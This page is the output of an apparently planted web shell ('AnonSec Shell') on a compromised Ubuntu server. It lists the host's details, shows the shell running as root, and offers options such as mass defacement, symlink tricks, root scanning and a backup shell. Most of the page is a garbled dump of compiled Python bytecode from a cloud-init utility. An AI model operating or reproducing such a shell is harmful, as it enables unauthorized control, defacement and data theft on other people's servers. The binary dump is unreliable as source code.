AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/make_mime.cpython-310.pyc
o

x[hZ�@s�dZddlZddlZddlZddlmZddlmZddlm	Z	dZ
e�e�Z
dZdd	�Zd
d�Zddd
�Zddd�Zdd�Zdd�ZedkrOe�e��dSdS)z0Generate multi-part mime messages for user-data.�N)�
MIMEMultipart)�MIMEText)�INCLUSION_TYPES_MAPz	make-mimezUExample: make-mime -a config.yaml:cloud-config -a script.sh:x-shellscript > user-datacCs�g}g}t|�D]8\}\}}}|��}t||t���}|�dd|�|����}	|	t�vr;d|	|df}
|�	|
�|�	|�qt
�}|D]}
|�|
�qF||fS)NzContent-Dispositionzattachment; filename="%s"z3content type %r for attachment %s may be incorrect!�)�	enumerate�readr�sys�getdefaultencoding�
add_header�get_content_type�lower�get_content_types�appendr�attach)�files�sub_messages�errors�i�fh�filename�format_type�contents�sub_message�content_type�msg�combined_message�r�?/usr/lib/python3/dist-packages/cloudinit/cmd/devel/make_mime.py�create_mime_messages(�
�
rc
CsRz|�dd�\}}t|d�||��fWSty(}z	t�|d|�|�d}~ww)z@Return file content type by reading the first line of the input.�:r�rzInvalid value for %rN)�split�open�strip�
ValueError�argparse�
ArgumentError)�textrr�errr�file_content_type.s����r)c
Cs^|st��}t|_t|_|jdddtdgddd�|jdd	d
ddd
�|jddd
ddd
�|S)aBuild or extend and arg parser for make-mime utility.

    @param parser: Optional existing ArgumentParser instance representing the
        subcommand which will be extended to support the args of this utility.

    @returns: ArgumentParser with proper argument configuration.
    z-az--attachrrz<file>:<content-type>z3attach the given file as the specified content-type)�dest�type�action�default�metavar�helpz-lz--list-types�
store_trueFz&List support cloud-init content types.)r,r-r/z-fz--forcez$Ignore unknown content-type warnings)r%�ArgumentParser�__doc__�description�EPILOG�epilog�add_argumentr))�parserrrr�
get_parser9s:�
��r8Fcst�fdd�t��D��S)z�Return a list of cloud-init supported content types.  Optionally
    strip out the leading 'text/' of the type if strip_prefix=True.
    cs g|]}�r|�dd�n|�qS)ztext/�)�replace)�.0�ctype��strip_prefixrr�
<listcomp>fs��z%get_content_types.<locals>.<listcomp>)�sortedr�valuesr=rr=rr
as

��r
cCs�|jrtd�tdd���dSt|j�\}}|r;|jrdnd}|D]}tj�	|�d|�d��q!tj�	d�|js;d	St|�dS)
a<Create a multi-part MIME archive for use as user-data.  Optionally
       print out the list of supported content types of cloud-init.

    Also setup CLI log handlers to report to stderr since this is a development
    utility which should be run by a human on the CLI.

    @return 0 on success, 1 on failure.
    �
Tr=r�WARNING�ERRORz: z-Invalid content-types, override with --force
r)
�
list_types�print�joinr
rr�forcer�stderr�write)�name�argsrr�level�errorrrr�handle_argsms	rOcCst���}tt|�S�N)r8�
parse_argsrO�NAME)rLrrr�main�s

rS�__main__rP)F)r2r%�loggingr�email.mime.multipartr�email.mime.textr�cloudinit.handlersrrR�	getLogger�__name__�LOGr4rr)r8r
rOrS�exitrrrr�<module>s(
�

(�

Anon7 - 2022
AnonSec Team